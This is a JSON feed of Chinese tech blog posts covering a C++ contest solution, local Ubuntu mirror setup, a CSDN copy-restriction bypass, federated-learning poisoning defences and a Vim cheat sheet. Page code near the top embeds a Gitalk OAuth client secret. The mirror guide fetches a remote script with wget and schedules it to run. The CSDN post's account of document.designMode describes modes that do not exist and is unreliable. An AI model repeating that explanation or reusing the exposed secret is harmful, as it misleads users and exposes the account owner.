current_father;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e16\u003c/span\u003e \u0026amp;\u0026amp; father[current][i]; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e father[current][i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = father[father[current][i]][i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003eundef\u003c/span\u003e current\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}DT;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e FINAL[maxn];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eFINAL_DFS\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; DT[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cnt += \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(DT[current][i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e FINAL[current] = cnt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; n; \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e other;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (other) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i, other);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003etopoSort\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DT.\u003cspan class=\"built_in\"\u003ebuild\u003c/span\u003e(G.topoOrder);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; FINAL[i] - \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2018/08/01/Misc/%E6%97%A7%E7%9A%84%E5%87%A0%E7%AF%87%E9%A2%98%E8%A7%A3/"}]}],"update":"2023-10-21T10:21:17.419117703Z"} \ No newline at end of file +{"version":1,"author":[{"name":"神社的储物间","email":"","uri":"https://xeonds.github.io/","description":"*节操消失了*","article":[{"title":"如何搭建一个本地镜像源","time":"2023-10-16T15:23:51Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e最近好哥们沉迷pocketchip,但是苦于架构比较古老(ARM-V7a但是能跑Linux Mainline),所以镜像站特别稀少,只有个国外的站点还开着。所以嘛,闲着也是闲着,就打算自己搭建一个镜像站咯。\u003c/p\u003e\u003cp\u003e顺便还能好好玩玩那个ESXi服务器。毕竟现在就只跑了一个OpenWRT和一个Ubuntu Server,实在没利用起来(\u003c/p\u003e\u003cp\u003e或许回头整个本地镜像源还能试试刷新一下Arch安装速度记录(逃\u003c/p\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先需要足够的硬盘空间和一个Linux计算机,以及差不多的网络环境。\u003c/p\u003e\u003cp\u003e然后是一些\u003cdel\u003e神秘妙妙\u003c/del\u003e工具:\u003ccode\u003eapache2, debmirror, gnupg, xz-utils, rsync(recommend)\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"开始\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/#%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"开始\"\u003e\u003c/a\u003e开始\u003c/h2\u003e\u003cp\u003e首先,因为同步的数据量会比较大,所以建议使用一块单独的硬盘或者看具体情况分个区都行。硬盘处理好后,可以将它挂载到\u003ccode\u003e/mount/\u003c/code\u003e下,随后创建我们的镜像站仓库目录们。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/debmirror/{amd64,keyring}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/scripts \u003cspan class=\"comment\"\u003e# 各种镜像站工具脚本\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后安装GPG keyrnig:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egpg --no-default-keyring --keyring /mirror/debmirror/mirrorkeyring/trustedkeys.gpg --import /usr/share/keyrings/ubuntu-archive-keyring.gpg\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装完成后,在Web服务器站点根目录创建符号链接:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /var/www/html\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /mirror/debmirror/amd64 ubuntu\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在这之后,我们还需要配置debmirror才能实现自动同步upstream等功能。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /mirror/scripts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget https://louwrentius.com/files/debmirroramd64.sh.txt -O debmirroramd64.sh \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x debmirroramd64.sh\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接着修改脚本设置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GNUPGHOME=/mirror/debmirror/mirrorkeyring\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erelease=focal,focal-security,focal-updates,focal-backports,jammy,jammy-security,jammy-updates,jammy-backports\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver=nl.archive.ubuntu.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eproto=rsync\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eoutPath=/mirror/debmirror/amd64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#bwlimit=1000 # 设置rsync的带宽限速为1000KB/s,如果要启用这个限制,还需要取消注释下面的行:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e--rsync-options \u003cspan class=\"string\"\u003e\u0026#34;-aIL --partial --bwlimit=\u003cspan class=\"variable\"\u003e$bwlimit\u003c/span\u003e\u0026#34;\u003c/span\u003e \\\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,你可以先运行一次脚本来完成第一次同步。\u003cstrong\u003e同步完成后\u003c/strong\u003e,再在crontab里边加上自动任务(不然你的同步进程时间过长,可能会干扰cron任务):\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e0 1 * * * /mirror/scripts/debmirroramd64.sh\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"References\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/#References\" class=\"headerlink\" title=\"References\"\u003e\u003c/a\u003eReferences\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://louwrentius.com/how-to-setup-a-local-or-private-ubuntu-mirror.html\"\u003eLouwrentius - How to Setup a Local or Private Ubuntu Mirror\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://www.debian.org/mirror/ftpmirror\"\u003eDebian - Setting up a Debian archive mirror\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/"},{"title":"CSDN复制解禁","time":"2023-10-12T06:18:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e省流不看:F12开发者工具终端执行\u003ccode\u003edocument.designMode=\u0026#39;on\u0026#39;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e原理嘛,就是利用浏览器的DOM启用设计模式来允许选择元素。关于DOM的详细介绍在下边:\u003c/p\u003e\u003ch2 id=\"DOM简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/12/csdn-copy/#DOM%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"DOM简介\"\u003e\u003c/a\u003eDOM简介\u003c/h2\u003e\u003cp\u003e在浏览器中,\u003ccode\u003edocument\u003c/code\u003e对象是一个非常重要的对象,它代表了当前页面的文档。\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性是\u003ccode\u003edocument\u003c/code\u003e对象的一个属性,它用于指定页面的设计模式。\u003c/p\u003e\u003cp\u003e设计模式主要有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e模式(常态):页面在正常模式下运行,用户可以正常查看和操作页面元素。 \u003c/li\u003e\u003cli\u003elayouter 模式(布局模式):页面在 layouter 模式下运行,用户无法正常查看和操作页面元素,只能查看页面的布局和结构。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这两种设计模式主要用于开发者调试和测试网页布局。通常,开发者会在开发过程中将页面切换到 layouter 模式,以便更好地查看和调整页面布局。当开发完成后,页面会自动切换回正常模式。\u003c/p\u003e\u003cp\u003e在页面加载时,浏览器会自动设置\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性的值。开发者也可以通过 JavaScript 代码来修改这个属性的值,从而实现在不同设计模式之间的切换。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eDesignMode\u003c/code\u003e属性之外,\u003ccode\u003edocument\u003c/code\u003e对象还有许多其他的属性和方法,它们可以用来完成各种网页开发任务。例如:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003edocument.body\u003c/code\u003e:表示页面的主体部分,包含了所有的 HTML 元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.title\u003c/code\u003e:表示页面的标题,通常显示在浏览器的标签页上。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementById()\u003c/code\u003e:通过元素的 ID 获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByClassName()\u003c/code\u003e:通过元素的类名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByTagName()\u003c/code\u003e:通过元素的标签名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelector()\u003c/code\u003e:通过 CSS 选择器获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelectorAll()\u003c/code\u003e:通过 CSS 选择器获取指定元素集合。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e此外,\u003ccode\u003edocument\u003c/code\u003e对象还提供了许多用于操作 DOM 的方法,如\u003ccode\u003ecreateElement()\u003c/code\u003e、\u003ccode\u003eappendChild()\u003c/code\u003e、\u003ccode\u003eremoveChild()\u003c/code\u003e、\u003ccode\u003einsertBefore()\u003c/code\u003e等,以及用于处理事件的方法,如\u003ccode\u003eaddEventListener()\u003c/code\u003e、\u003ccode\u003eremoveEventListener()\u003c/code\u003e等。\u003c/p\u003e\u003cp\u003e总之,\u003ccode\u003edocument\u003c/code\u003e对象是浏览器中最重要的对象之一,它为网页开发者提供了丰富的属性和方法,使得开发者可以更加方便地完成各种网页开发任务。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/10/12/csdn-copy/"},{"title":"联邦学习的投毒和攻防方法","time":"2023-10-11T10:59:46Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e十分的交叉学科。具体而言就是机器学习领域的数据安全问题。\u003c/p\u003e\u003cp\u003e首先是标题 说的大概是一种新的人工智能学习范式。在这种防方式里也有攻击方式和相应的防御方式。\u003c/p\u003e\u003ch2 id=\"联邦学习简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"联邦学习简介\"\u003e\u003c/a\u003e联邦学习简介\u003c/h2\u003e\u003cul\u003e\u003cli\u003edefinition 联邦学习:一种分布式学习方法。解决的问题主要针对数据量不够/数据获取途径(成本问题),数据难以集中(法律问题和隐私问题)。一种时间方法是在本地进行小规模训练,然后将训练得到的模型参数上传汇总。不但规避了隐私版权问题,也保证了训练效果。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据以样本和特征分别作为基准,联邦学习又分为横向/纵向:同特征不同样本/同样本不同特征。它们各自有着相当不同的模型参数聚合方法。后者通常发生在大型企业之间,而前者通常发生在用户/公司之间,双方并非信任关系。\u003c/p\u003e\u003cp\u003e前者的聚合方法有简单的加权平均FedAvg,有离群点修复FedProx,还有SCAFFOLD等。而后者则利用隐私求交集PSI来完成加密实体对齐。典型的纵向联邦学习框架有SecureBoost。\u003c/p\u003e\u003cp\u003e但是数据特征仍然是反映在梯度参数中的,通过深度梯度泄漏方法DLG,可以恢复训练数据,这样就间接泄漏了训练数据的隐私。\u003c/p\u003e\u003ch2 id=\"隐私数据保护方法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E9%9A%90%E7%A7%81%E6%95%B0%E6%8D%AE%E4%BF%9D%E6%8A%A4%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"隐私数据保护方法\"\u003e\u003c/a\u003e隐私数据保护方法\u003c/h2\u003e\u003cp\u003e防止梯度泄露的方法主要是两类:密码学方法和差分隐私(Differential Privacy).前者有MPC和HE等,通信开销和计算量较大,但是精度较高。后者则有噪声问题的困扰。\u003c/p\u003e\u003ch2 id=\"联邦学习的攻击方法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"联邦学习的攻击方法\"\u003e\u003c/a\u003e联邦学习的攻击方法\u003c/h2\u003e\u003cp\u003e目的就是使训练模型很难收敛,破坏联邦学习模型的性能和可信度。\u003c/p\u003e\u003cul\u003e\u003cli\u003e投毒攻击,给本地数据添加错误,来弱化学习效果;或者更改分布式训练的模型参数。攻击者的知识、能力越强则攻击能力越强\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e但是太离谱的数据会被数据清洗过滤掉,太小的数据又没啥效果。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e目标/非目标攻击:针对特定/随即目标进行数据编造投毒攻击。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据打乱:比如对于不同群体的用户数据,互换他们attribute的结果,最终使得结果在不同群体上相反。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"投毒攻击的检测\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E6%8A%95%E6%AF%92%E6%94%BB%E5%87%BB%E7%9A%84%E6%A3%80%E6%B5%8B\" class=\"headerlink\" title=\"投毒攻击的检测\"\u003e\u003c/a\u003e投毒攻击的检测\u003c/h2\u003e\u003cp\u003e这种检测难度不小:投毒攻击检测和隐私保护间的矛盾、数据非独立分布、攻击隐蔽性。\u003c/p\u003e\u003cp\u003e比较朴素的思路就是使用数据挖掘的清洗方法,对离群点等进行清洗。比如说有一些聚合方法:Krum, Bulyan, Trimmed mean(修整均值), Medium(中位数)等,都是一些经典的鲁棒性聚合规则。\u003c/p\u003e\u003ch2 id=\"防御方法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E9%98%B2%E5%BE%A1%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"防御方法\"\u003e\u003c/a\u003e防御方法\u003c/h2\u003e\u003cp\u003e首先是基于统计学的方法。但是它的局限性是只有少部分客户端被控制。\u003c/p\u003e\u003cp\u003e其次是用验证用数据集进行验证。不过这样纯粹的数据集很难找。\u003c/p\u003e\u003cp\u003e再者就是用机器学习方法1-AE进行检验。它首先在本地预训练一个自编码器模型,然后正式训练过程中基于自编码器计算各节点模型更新的重构误差。\u003c/p\u003e\u003cp\u003e2-GAN:可以用GAN尝试恢复出来训练样本来生成本地训练集,从而验证模型参数是否正常。但是缺陷是,无法应对在训练初期就发动攻击的方式。\u003c/p\u003e\u003cp\u003e区块链1-FLChain:由部分节点进行数据检测再进行上传,从而保证参数的正确性。问题是这部分节点如何选择,以及是否正常。解决方法可以是动态更新这部分成员结点,通过一系列置信度去更新这部分节点。\u003c/p\u003e\u003ch2 id=\"研究成果:神经网络模型水印\"\u003e\u003ca href=\"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/#%E7%A0%94%E7%A9%B6%E6%88%90%E6%9E%9C%EF%BC%9A%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B%E6%B0%B4%E5%8D%B0\" class=\"headerlink\" title=\"研究成果:神经网络模型水印\"\u003e\u003c/a\u003e研究成果:神经网络模型水印\u003c/h2\u003e\u003cp\u003e初始模型嵌入水印,并对水印进行检测。缺点是上传的模型不能加密。当然也可以允许加密,不过可以聚合模型,用聚合后的模型检验上传者。或者,可以比对上传者的历史行为数据,以此检测上传节点是否异常。\u003c/p\u003e\u003cp\u003e时间有限,基本就到这里了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/"},{"title":"Vim备忘录","time":"2023-09-29T21:30:53Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"How-to-Exit\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#How-to-Exit\" class=\"headerlink\" title=\"How to Exit\"\u003e\u003c/a\u003eHow to Exit\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]\u003c/td\u003e\u003ctd\u003eQuit Vim. This fails when changes have been made.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:q[uit]!\u003c/td\u003e\u003ctd\u003eQuit without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:cq[uit]\u003c/td\u003e\u003ctd\u003eQuit always, without writing.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq\u003c/td\u003e\u003ctd\u003eWrite the current file and exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq!\u003c/td\u003e\u003ctd\u003eWrite the current file and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq {file}\u003c/td\u003e\u003ctd\u003eWrite to {file}. Exit if not editing the last\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:wq! {file}\u003c/td\u003e\u003ctd\u003eWrite to {file} and exit always.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]wq[!]\u003c/td\u003e\u003ctd\u003e[file] Same as above, but only write the lines in [range].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZZ\u003c/td\u003e\u003ctd\u003eWrite current file, if modified, and 